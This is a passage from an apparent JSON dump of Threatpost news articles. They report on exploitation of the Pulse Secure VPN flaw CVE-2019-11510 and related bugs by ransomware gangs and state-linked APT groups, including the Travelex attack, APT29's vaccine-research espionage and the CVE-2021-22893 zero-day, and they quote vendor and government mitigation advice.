endpoints](<https://twitter.com/bad_packets/status/1165574263975186433>) across the world had the issue directly exploitable,\u201d Beaumont noted. \u201cThose results included networks at governments across the world \u2014 many incredibly sensitive organizations included \u2014 and basically a list of the world\u2019s largest companies. It was clear organizations were simply [not patching](<https://twitter.com/GossiTheDog/status/1213532072201084929>).\u201d\n\nOne of these organizations was Travelex, which had seven unsecured Pulse Secure servers, according to Bad Packets; it also said that the company waited until November \u2013 eight months after the vulnerability disclosure \u2013 to patch the issues.\n\n> We notified Travelex about their vulnerable Pulse Secure VPN servers on September 13, 2019.\n> \n> No response. [pic.twitter.com/lCjk7IY3OM](<https://t.co/lCjk7IY3OM>)\n> \n> \u2014 Bad Packets Report (@bad_packets) [January 4, 2020](<https://twitter.com/bad_packets/status/1213536922825420800?ref_src=twsrc%5Etfw>)\n\nBad Packets [indicated](<https://twitter.com/bad_packets/status/1214255496900665344>) that this lag time could have provided the window in which the cybergang infiltrated the Travelex network \u2013 a speculation that is somewhat supported by Pulse Secure itself, which issued [a statement](<https://twitter.com/zackwhittaker/status/1214315001844031488/photo/1>) this week that it has indeed seen the Sodinokibi ransomware being delivered via exploits for the vulnerabilities.\n\n\u201cThe ransomware situation at Travelex shines a harsh spotlight on the potential devastation of a cybersecurity incident,\u201d Jonathan Knudsen, senior security strategist at Synopsys, said in an emailed statement. \u201cThe lost business and negative publicity from a scenario such as this can be crushing. Ransomware continues to be a popular tool for cybercriminals\u2026If you fall victim to a ransomware attack, you must have a plan ready to execute. The plan should include removing infected systems from your network, wiping them and reinstalling the operating system and applications, then restoring data from your backups.\u201d\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._**_** **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-07T17:04:09", "type": "threatpost", "title": "Sodinokibi Ransomware Behind Travelex Fiasco: Report", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-11539"], "modified": "2020-01-07T17:04:09", "id": "THREATPOST:C535D98924152E648A3633199DAC0F1E", "href": "https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-01T21:47:35", "description": "An APT group known as Pioneer Kitten, linked to Iran, has been spotted selling corporate-network credentials on hacker forums. The credentials would let other cybercriminal groups and APTs perform cyberespionage and other nefarious cyber-activity.\n\nPioneer Kitten is a hacker group that specializes in infiltrating corporate networks using open-source tools to compromise remote external services. Researchers observed an actor associated with the group advertising access to compromised networks on an underground forum in July, according to a [blog post](<https://www.crowdstrike.com/blog/who-is-pioneer-kitten/>) Monday from Alex Orleans, a senior intelligence analyst at CrowdStrike Intelligence.\n\nPioneer Kitten\u2019s work is related to other groups either sponsored or run by the Iranian government, which [were previously seen](<https://www.zdnet.com/article/iranian-hackers-have-been-hacking-vpn-servers-to-plant-backdoors-in-companies-around-the-world/>) hacking VPNs and planting backdoors in companies around the world.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIndeed, the credential sales on hacker forums seem to suggest \u201ca potential attempt at revenue stream diversification\u201d to complement \u201cits targeted intrusions in support of the Iranian government,\u201d Orleans wrote. However, Pioneer Kitten, which has been around since 2017, does not appear to be directly operated by the Iranian government but is rather sympathetic to the regime and likely a private contractor, Orleans noted.\n\nPioneer Kitten\u2019s chief mode of operations is its reliance on SSH tunneling, using open-source tools such as Ngrok and a custom tool called SSHMinion, he wrote. The group uses these tools to communicate \u201cwith implants and hands-on-keyboard activity via Remote Desktop Protocol (RDP)\u201d to exploit vulnerabilities in VPNs and network appliances to do its dirty work, Orleans explained.\n\nCrowdStrike observed the group leveraging several critical exploits in particular \u2014 [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>), and most recently, [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>). All three are exploits affect VPNs and networking equipment, including Pulse Secure \u201cConnect\u201d enterprise VPNs, Citrix servers and network gateways, and F5 Networks BIG-IP load balancers, respectively.\n\nPioneer Kitten\u2019s targets are North American and Israeli organizations in various sectors that represent some type of intelligence interest to the Iranian government, according to CrowdStrike. Target sectors run the gamut and include technology, government, defense, healthcare, aviation, media, academic, engineering, consulting and professional services, chemical, manufacturing, financial services, insurance and retail.\n\nWhile not as well-known or widespread in its activity as other nation-state threats such as China and Russia, Iran has emerged in recent years as a formidable cyber-enemy, amassing a number of APTs to mount attacks on its political adversaries.\n\nOf these, Charming Kitten\u2014which also goes by the names APT35, Ajax or Phosphorus\u2014appears to be the most active and dangerous, while others bearing similar names seem to be spin-offs or support groups. Iran overall appears to be ramping up its cyber-activity lately. CrowdStrike\u2019s report actually comes on the heels of news that Charming Kitten also has [resurfaced recently. ](<https://threatpost.com/charming-kitten-whatsapp-linkedin-effort/158813/>)A new campaign is using LinkedIn and WhatsApp to convince targets \u2014 including Israeli university scholars and U.S. government employees \u2014 to click on a malicious link that can steal credentials.\n\nOperating since 2014, Charming Kitten is known for politically motivated and socially engineered attacks, and often uses phishing as its attack of choice. Targets of the APT, which uses clever social engineering to snare victims, have been [email accounts](<https://threatpost.com/iran-linked-hackers-target-trump-2020-campaign-microsoft-says/148931/>) tied to the Trump 2020 re-election campaign and [public figures and human-rights activists](<https://threatpost.com/charming-kitten-uses-fake-interview-requests-to-target-public-figures/152628/>), among others.\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) Learn the secrets to running a successful Bug Bounty Program. [Register today](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) for this FREE Threatpost webinar \u201c[Five Essentials for Running a Successful Bug Bounty Program](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) webinar.**\n", "cvss3": {}, "published": "2020-09-01T13:35:19", "type": "threatpost", "title": "Pioneer Kitten APT Sells Corporate Network Access", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902"], "modified": "2020-09-01T13:35:19", "id": "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "href": "https://threatpost.com/pioneer-kitten-apt-sells-corporate-network-access/158833/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:21:11", "description": "The Department of Homeland Security (DHS) is urging companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, after several cyberattacks targeted companies who had previously patched a related flaw in the VPN.\n\nDHS warns that the Pulse Secure VPN patches may have come too late. Government officials say before the patches were deployed, bad actors were able to compromise Active Directory accounts. So even those who have patched for the bug could still be compromised and are vulnerable to attack.\n\nAt the heart of the advisory is a known, critical Pulse Secure [arbitrary file reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers to gain access to a victim\u2019s networks. Tracked as CVE-2019-11510, the bug was patched by Pulse Secure in April 2019, and many companies impacted by the flaw issued the fix to address the vulnerability since then.\n\nBut in many cases the damage is already done. Attackers have already exploited the flaw to snatch up victims\u2019 credentials \u2013 and now are using those credentials to move laterally through organizations, DHS\u2019 Cybersecurity and Infrastructure Security Agency (CISA) warned in the Thursday alert.\n\n[](<https://register.gotowebinar.com/register/4136632530104301068?source=art>)\n\n\u201cCISA strongly urges organizations that have not yet done so to upgrade their Pulse Secure VPN to the corresponding patches for CVE-2019-11510,\u201d according to [CISA\u2019s alert](<https://www.us-cert.gov/ncas/alerts/aa20-107a>). \u201cIf\u2014after applying the detection measures in this alert\u2014organizations detect evidence of CVE-2019-11510 exploitation, CISA recommends changing passwords for all Active Directory accounts, including administrators and services accounts.\u201d\n\nThe flaw exists in Pulse Connect Secure, Pulse Secure\u2019s SSL VPN (virtual private network) platform used by various enterprises and organizations. Exploitation of the vulnerability is simple, which is why it received a 10 out of 10 CVSS ranking. Attackers can exploit the flaw to get initial access on the VPN server, where they\u2019re able to access credentials. A proof of concept (PoC) [was made public](<https://www.tenable.com/blog/cve-2019-11510-proof-of-concept-available-for-arbitrary-file-disclosure-in-pulse-connect-secure>) in August 2019. During that time, Troy Mursch with Bad Packets identified [over 14,500 Pulse Secure VPN endpoints that were vulnerable](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) to this flaw. In a more recent scan, [on Jan. 3, 2020](<https://twitter.com/bad_packets/status/1213273678525296640>), Mursch said 3,825 endpoints remain vulnerable.\n\nOne such vulnerable organization was Travelex, which took several months to patch critical vulnerabilities in its seven Pulse Secure VPN servers, according to Bad Packets. Some have speculated the [lag time in patching](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) these VPNs led to the eventual [massive ransomware](<https://threatpost.com/travelex-knocked-offline-malware-attack/151522/>) attack against Travelex.\n\nVarious other cybercriminals have targeted the Pulse Secure VPN flaw to compromise organizations, such as Iranian state sponsored hackers who leveraged the flaw to [conduct cyber-espionage campaigns](<https://www.clearskysec.com/fox-kitten/>) against dozens of companies in Israel.\n\nIn addition to urging organizations update credentials on accounts in Active Directory, which is the database keeps track of all organizations\u2019 user accounts and passwords, CISA has also [released a new tool](<https://github.com/cisagov/check-your-pulse>) to help network admins sniff out any indicators of compromise on their systems that are related to the flaw.\n\n\u201cCISA encourages network administrators to remain aware of the ramifications of exploitation of CVE-2019-11510 and to apply the detection measures and mitigations provided in this report to secure networks against these attacks,\u201d the advisory said.\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "cvss3": {}, "published": "2020-04-17T20:56:34", "type": "threatpost", "title": "DHS Urges Pulse Secure VPN Users To Update Passwords", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-17T20:56:34", "id": "THREATPOST:7E76268AD6AABF30EEE441619FF98ABF", "href": "https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-07-16T19:56:37", "description": "The advanced threat actor known as APT29 has been hard at work attempting to pilfer COVID-19 vaccine research from academic and pharmaceutical research institutions in various countries around the world, including the U.S.\n\nThat\u2019s according to a joint alert from the U.S. Department of Homeland Security (DHS), the U.K.\u2019s National Cyber Security Centre (NCSC) and Canada\u2019s Communications Security Establishment (CSE), [issued Thursday](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>).\n\nThe 14-page advisory details the recent activity of Russia-linked APT29 (a.k.a. CozyBear or the Dukes), including the use of custom malware called \u201cWellMess\u201d and \u201cWellMail\u201d for data exfiltration.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThroughout 2020, APT29 has targeted various organizations involved in COVID-19 vaccine development in Canada, the United States and the United Kingdom, highly likely with the intention of stealing information and intellectual property relating to the development and testing of COVID-19 vaccines,\u201d the report noted.\n\nThis specific activity was seen starting in April, but security researchers noted that nation-state espionage targeted to coronavirus treatments and cures [has been a phenomenon all year](<https://threatpost.com/nation-backed-apts-covid-19-spy-attacks/155082/>).\n\n\u201cCOVID-19 is an existential threat to every government in the world, so it\u2019s no surprise that cyber-espionage capabilities are being used to gather intelligence on a cure,\u201d said John Hultquist, senior director of analysis at Mandiant Threat Intelligence, via email. \u201cThe organizations developing vaccines and treatments for the virus are being heavily targeted by Russian, Iranian and Chinese actors seeking a leg up on their own research. We\u2019ve also seen significant COVID-related targeting of governments that began as early as January.\u201d\n\n## **Exploits in Play**\n\nTo mount the attacks, APT29 is using exploits for known vulnerabilities to gain initial access to targets, according to the analysis, along with spearphishing to obtain authentication credentials to internet-accessible login pages for target organizations. The exploits in rotation include the recent [Citrix code-injection bug](<https://threatpost.com/citrix-bugs-allow-unauthenticated-code-injection-data-theft/157214/>) (CVE-2019-19781); a publicized [Pulse Secure VPN flaw](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) (CVE-2019-11510); and issues in FortiGate (CVE-2018-13379) and Zimbra (CVE-2019-9670).\n\n\u201cThe group conducted basic vulnerability scanning against specific external IP addresses owned by the [targeted] organizations,\u201d according to the report. \u201cThe group then deployed public exploits against the vulnerable services identified. The group has been successful using recently published exploits to gain initial footholds.\u201d\n\nOnce a system is compromised, the group then looks to obtain additional authentication credentials to allow further access and spread laterally.\n\n## **Custom Malware**\n\nOnce established in a network, APT29 is employing homegrown malware that the NCSC is calling WellMess and WellMail, to conduct further operations on the victim\u2019s system and exfiltrate data.\n\nWellMess, first discovered in July 2018, is malware that comes in Golang or .NET versions and supports HTTP, TLS and DNS for communications.\n\nNamed after one of the function names in the malware, \u201cWellMess is a lightweight malware designed to execute arbitrary shell commands, upload and download files,\u201d according to the advisory.\n\nWellMail malware meanwhile, named after file paths containing the word \u2018mail\u2019 and the use of server port 25, is also lightweight \u2013 and is designed to run commands or scripts while communicating with a hardcoded command-and-control (C2) server.\n\n\u201cThe binary is an ELF utility written in Golang which receives a command or script to be run through the Linux shell,\u201d according to the NCSC. \u201cTo our knowledge, WellMail has not been previously named in the public domain.\u201d\n\nBoth malwares uses hard-coded client and certificate authority TLS certificates to communicate with their C2 servers.\n\n\u201cWellMess and WellMail samples contained TLS certificates with the hard-coded subjectKeyIdentifier (SKI) \u20180102030406\u2019, and used the subjects \u2018C=Tunis, O=IT\u2019 and \u2018O=GMO GlobalSign, Inc\u2019 respectively,\u201d detailed the report. \u201cThese certificates can be used to identify further malware samples and infrastructure. Servers with this GlobalSign certificate subject may be used for other functions in addition to WellMail malware communications.\u201d\n\nAPT29 is also using another malware, dubbed \u2018SoreFang\u2019 by the NCSC, which is a first-stage downloader that uses HTTP to exfiltrate victim information and download second-stage malware. It\u2019s using the same C2 infrastructure as a WellMess sample, the agencies concluded.\n\nThis sample is not a custom job: \u201cIt is likely that SoreFang targets SangFor devices. Industry reporting indicates that other actors, reportedly including [DarkHotel](<https://threatpost.com/microsoft-zero-day-actively-exploited-patch/152018/>), have also targeted SangFor devices,\u201d noted the NCSC.\n\n## **APT29: A Sporadically High-Profile Threat**\n\n[APT29](<https://attack.mitre.org/groups/G0016/>) has long been seen targeting high-value targets across the think-tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government and defense contracting sectors.\n\nThe group is is perhaps best-known for the [intrusion](<https://threatpost.com/dnc-hacked-research-on-trump-stolen/118656/>) at the Democratic National Committee ahead of the U.S. presidential election in 2016. It was also implicated in [a widespread phishing campaign](<https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/>) in November 2016, in attacks against the White House, State Department and Joint Chiefs of Staff.\n\nIt was next seen in November 2017 [executing a Tor backdoor](<https://threatpost.com/apt29-used-domain-fronting-tor-to-execute-backdoor/124582/>), and then [it reemerged](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) in 2018 with a widespread espionage campaign against military, media and public-sector targets.\n\nIts history stretches back a few years though: It [was also seen](<https://threatpost.com/white-house-state-department-counted-among-cozyduke-apt-victims/112382/>) by Kaspersky Lab carrying out data-mining attacks against the White House and the Department of State in 2014.\n\nResearchers from firms [like Mandiant](<https://www.fireeye.com/current-threats/apt-groups/rpt-apt29.html>) believe APT29 to be linked to Russian government-backed operations \u2013 an assessment that the DHS and NCSC reiterated in the latest advisory, saying that it is \u201calmost certainly part of the Russian intelligence services.\u201d\n\nWhile its publicly profiled activity tends to be sporadic, APT29 is rarely at rest, according to Mandiant\u2019s Hultquist.\n\n\u201cDespite involvement in several high-profile incidents, APT29 rarely receives the same attention as other Russian actors because they tend to quietly focus on intelligence collection,\u201d he said via email. \u201cWhereas GRU actors have brazenly leaked documents and carried out destructive attacks, APT29 digs in for the long term, siphoning intelligence away from its target.\u201d\n\nThis latest case is no exception to that M.O., according to the advisory: \u201cAPT29 is likely to continue to target organizations involved in COVID-19 vaccine research and development, as they seek to answer additional intelligence questions relating to the pandemic,\u201d the agencies concluded.\n\nThat said, at least one researcher warned that the end-game of the activity might be more nefarious than simply getting a leg up on a cure.\n\n\u201cAPT29 (Cozy Bear, Office Monkeys) has successfully demonstrated the extension of nation-state power through cyber-action for more than a dozen years,\u201d Michael Daly, CTO at Raytheon Intelligence & Space, said via email. \u201cHowever, they are not focused on simple intellectual property theft. Instead, their focus is rooted in influence operations \u2013 the changing of hearts and minds to thwart and diminish the power of governments and organizations.\u201d\n\nHe added, \u201cIn the case of this breach of vaccine research centers, we should be most concerned not that someone else might also get a vaccine, but that the information will be used to undermine the confidence of the public in the safety or efficacy of the vaccines, slowing their adoption, or in some way cause their release to be delayed. The effect of such a delay would be both impactful to the health of Western populations, but also to the social stability and economic stability of the West.\u201d\n", "cvss3": {}, "published": "2020-07-16T18:05:20", "type": "threatpost", "title": "Hackers Look to Steal COVID-19 Vaccine Research", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670"], "modified": "2020-07-16T18:05:20", "id": "THREATPOST:1FB73160B6AAB2B0406816BB6A61E4CB", "href": "https://threatpost.com/state-sponsored-hackers-steal-covid-19-vaccine-research/157514/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-21T15:44:32", "description": "A critical zero-day security vulnerability in Pulse Secure VPN devices has been exploited by nation-state actors to launch cyberattacks against U.S. defense, finance and government targets, as well as victims in Europe, researchers said.\n\n[](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>)\n\nDownload \u201cThe Evolution of Ransomware\u201d to gain valuable insights on emerging trends amidst rapidly growing attack volumes. Click above to hone your defense intelligence!\n\nThe flaw, tracked as CVE-2021-22893, allows remote code-execution (RCE) and is being used in the wild to gain administrator-level access to the appliances, according to Ivanti research. Pulse Secure said that the zero-day will be patched in early May; but in the meantime, the company worked with Ivanti (its parent company) to release both mitigations and the [Pulse Connect Secure Integrity Tool](<https://kb.pulsesecure.net/pkb_mobile#article/l:en_US/KB44755/s>), to help determine if systems have been impacted.\n\n\u201cThe investigation shows ongoing attempts to exploit four issues: The substantial bulk of these issues involve three vulnerabilities that were patched in 2019 and 2020: [Security Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>) (CVE-2019-11510), [Security Advisory SA44588](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44588>) (CVE-2020-8243) and [Security Advisory SA44601](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601>) (CVE-2020-8260),\u201d according to a Pulse Secure statement provided to Threatpost. \u201cThe new issue, discovered this month, impacted a very limited number of customers.\u201d\n\n## **CVE-2021-22893: A Zero-Day in Pulse Connect Secure VPNs**\n\nThe newly discovered critical security hole is rated 10 out of 10 on the CVSS vulnerability-rating scale. It\u2019s an authentication bypass vulnerability that can allow an unauthenticated user to perform RCE on the Pulse Connect Secure gateway. It \u201cposes a significant risk to your deployment,\u201d according to the advisory, [issued Tuesday](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>).\n\n\u201cThe ongoing COVID-19 crisis resulted in an overnight shift to remote work culture, and VPNs played a critical role to make this possible,\u201d Bharat Jogi, senior manager of vulnerability and threat research at Qualys, said via email. \u201cVPNs have become a prime target for cybercriminals and over the past few months.\u201d\n\n\u201cThe Pulse Connect Secure vulnerability with CVE-2021-22893\u2026can be exploited without any user interaction,\u201d he added.\n\nThe mitigations involve importing a file called \u201cWorkaround-2104.xml,\u201d available on the advisory page. It disables the Windows File Share Browser and Pulse Secure Collaboration features on the appliance.\n\nUser can also use the blacklisting feature to disable URL-based attacks, the firm noted, by blocking the following URIs:\n\n * ^/+dana/+meeting\n * ^/+dana/+fb/+smb\n * ^/+dana-cached/+fb/+smb\n * ^/+dana-ws/+namedusers\n * ^/+dana-ws/+metric\n\n\u201cThe Pulse Connect Secure (PCS) team is in contact with a limited number of customers who have experienced evidence of exploit behavior on their PCS appliances,\u201d according to Pulse Secure. \u201cThe PCS team has provided remediation guidance to these customers directly.\u201d\n\nAccording to tandem research from Mandiant, this and the other bugs are at the center of a flurry of activity by different threat actors, involving 12 different malware families overall. The malware is used for authentication-bypass and establishing backdoor access to the VPN devices, and for lateral movement. Two specific advanced persistent threat (APT) groups, UNC2630 and UNC2717, are particularly involved, researchers said.\n\n## **UNC2630 Cyber-Activity: Links to China**\n\n\u201cWe observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments,\u201d according to Mandiant, in a [Tuesday posting](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>). \u201cIn order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance.\u201d\n\nThe firm tracks those tools as the following:\n\n * **SlowPulse:** Trojanized shared objects with malicious code to log credentials and bypass authentication flows within the legitimate Pulse Secure shared object libdsplibs.so, including multifactor authentication requirements.\n * **RadialPulse and PulseCheck:** Web shells injected into legitimate, internet-accessible Pulse Secure VPN appliance administrative web pages.\n * **ThinBlood:** A utility used to clear relevant log files.\n * **Other capabilities:** Toggling the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem; the ability to maintain persistence across VPN appliance general upgrades that are performed by the administrator; and the ability to unpatch modified files and delete utilities and scripts after use to evade detection.\n\nUNC2630 targeted U.S. defense-sector companies as early as last August, Mandiant noted. It added that the activity could be state-sponsored, likely backed by China.\n\n\u201cWe suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5,\u201d according to the analysis. \u201cUNC2630\u2019s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5.\u201d\n\nAPT5 consistently targets defense and technology companies in the Asia, Europe and the U.S., Mandiant noted.\n\n\u201c[It] has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances,\u201d Mandiant researchers said. \u201cAPT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.\u201d\n\n## **The UNC2717 APT Connection**\n\nAs for UNC2717, Mandiant linked Pulse Secure zero-day activity back to the APT in a separate incident in March, targeted against an unnamed European organization. UNC2717 was also seen targeting global government agencies between October and March.\n\nSo far, there\u2019s not enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group, Mandiant said.\n\nThe tools used by this group include HardPulse, which is a web shell; PulseJump, used for credential-harvesting; and RadialPulse. The firm also observed a new malware that it calls LockPick, which is a trojanized OpenSSL library file that appears to weaken encryption for communications used by the VPN appliances.\n\nAll of the malware families in use in the campaigns appear to be loosely related, according to Mandiant.\n\n\u201cAlthough we did not observe PulseJump or HardPulse used by UNC2630 against U.S. [defense] companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630,\u201d researchers said.\n\nThey added, \u201cMandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors.\u201d\n\n## **Pulse Secure: A Favorite Target for APTs**\n\nPulse Secure VPNs continue to be a hot target for nation-state actors. Last week, [the FBI warned](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>) that a known arbitrary file-read Pulse Secure bug (CVE-2019-11510) was part of five vulnerabilities under attack by the Russia-linked group known as APT29 (a.k.a. Cozy Bear or The Dukes). APT29 is conducting \u201cwidespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials to allow further access,\u201d according to the Feds.\n\nMeanwhile, earlier in April, the Department of Homeland Security (DHS) urged companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, because in many cases, attackers have already exploited CVE-2019-11510 to hoover up victims\u2019 credentials \u2013 and now are using those credentials to move laterally through organizations, [DHS warned](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>).\n\nAnd last fall, the Cybersecurity and Infrastructure Security Agency (CISA) said that a federal agency had suffered a successful espionage-related cyberattack that led to a backdoor and multistage malware being dropped on its network. Once again, [CVE-2019-11510 was in play](<https://threatpost.com/feds-cyberattack-data-stolen/159541/>), used to gain access to employees\u2019 legitimate Microsoft Office 365 log-in credentials and sign into an agency computer remotely.\n\n\u201cAlmost without fail, the common thread with any APT is the exploitation of known vulnerabilities both new and old,\u201d Yaniv Bar-Dayan, CEO and co-founder at Vulcan Cyber, said via email. \u201cMalicious activity, whether using a supply-chain vector or a VPN authentication bypass, is thwarted by good cyber-hygiene practices and serious blue teaming. Vulnerability management, or more importantly vulnerability remediation, is a cybersecurity dirty job that is under-resourced and underappreciated and businesses are paying the price.\u201d\n\n**Download our exclusive FREE Threatpost Insider eBook,** **_\u201c[2021: The Evolution of Ransomware](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>),\u201d_**** to help hone your cyber-defense strategies against this growing scourge. We go beyond the status quo to uncover what\u2019s next for ransomware and the related emerging risks. Get the whole story and [DOWNLOAD](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>) the eBook now \u2013 on us!**\n", "cvss3": {}, "published": "2021-04-21T15:35:37", "type": "threatpost", "title": "Pulse Secure Critical Zero-Day Security Bug Under Active Exploit", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-22893"], "modified": "2021-04-21T15:35:37", "id": "THREATPOST:2BD1A92D071EE3E52CB5EA7DD865F60A", "href": "https://threatpost.com/pulse-secure-critical-zero-day-active-exploit/165523/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-16T18:13:10", "description": "The Feds are warning that nation-state actors are once again after U.S. assets, this time in a spate of cyberattacks that exploit five vulnerabilities that affect VPN solutions, collaboration-suite software and virtualization technologies.\n\nAccording to the U.S. National Security Agency (NSA), which issued [an alert Thursday,](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/%20/#pop5008885>) the advanced persistent threat (APT) group [known as APT29](<https://threatpost.com/state-sponsored-hackers-steal-covid-19-vaccine-research/157514/>) (a.k.a. Cozy Bear or The Dukes) is conducting \u201cwidespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials to allow further access.\u201d\n\nThe targets include U.S. and allied national-security and government networks, it added.\n\n[](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)\n\nJoin experts from Digital Shadows (Austin Merritt), Malwarebytes (Adam Kujawa) and Sift (Kevin Lee) to find out how cybercrime forums really work. FREE! Register by clicking above.\n\nThe five bugs under active attack are known, fixed security holes in platforms from Citrix, Fortinet, Pulse Secure, Synacor and VMware (detailed below) that organizations should patch immediately, researchers warned.\n\n\u201cSome of these vulnerabilities also have working Metasploit modules and are currently being widely exploited,\u201d said researchers with Cisco Talos, in a [related posting](<https://blog.talosintelligence.com/2021/04/nsa-svr-coverage.html#more>) on Thursday. \u201cPlease note that some of these vulnerabilities exploit applications leveraging SSL. This means that users should enable SSL decryption\u2026to detect exploitation of these vulnerabilities.\u201d\n\nThe NSA has linked APT29 to Russia\u2019s Foreign Intelligence Services (SVR). The news comes as the U.S. formally attributed the recent [SolarWinds supply-chain attack](<https://threatpost.com/solarwinds-orion-bug-remote-code-execution/163618/>) to the SVR and issued sanctions on Russia for cyberattacks and what President Biden called out as interference with U.S. elections.\n\n## **The 5 Vulnerabilities Being Actively Exploited**\n\nAccording to the NSA, the following are under widespread attack in 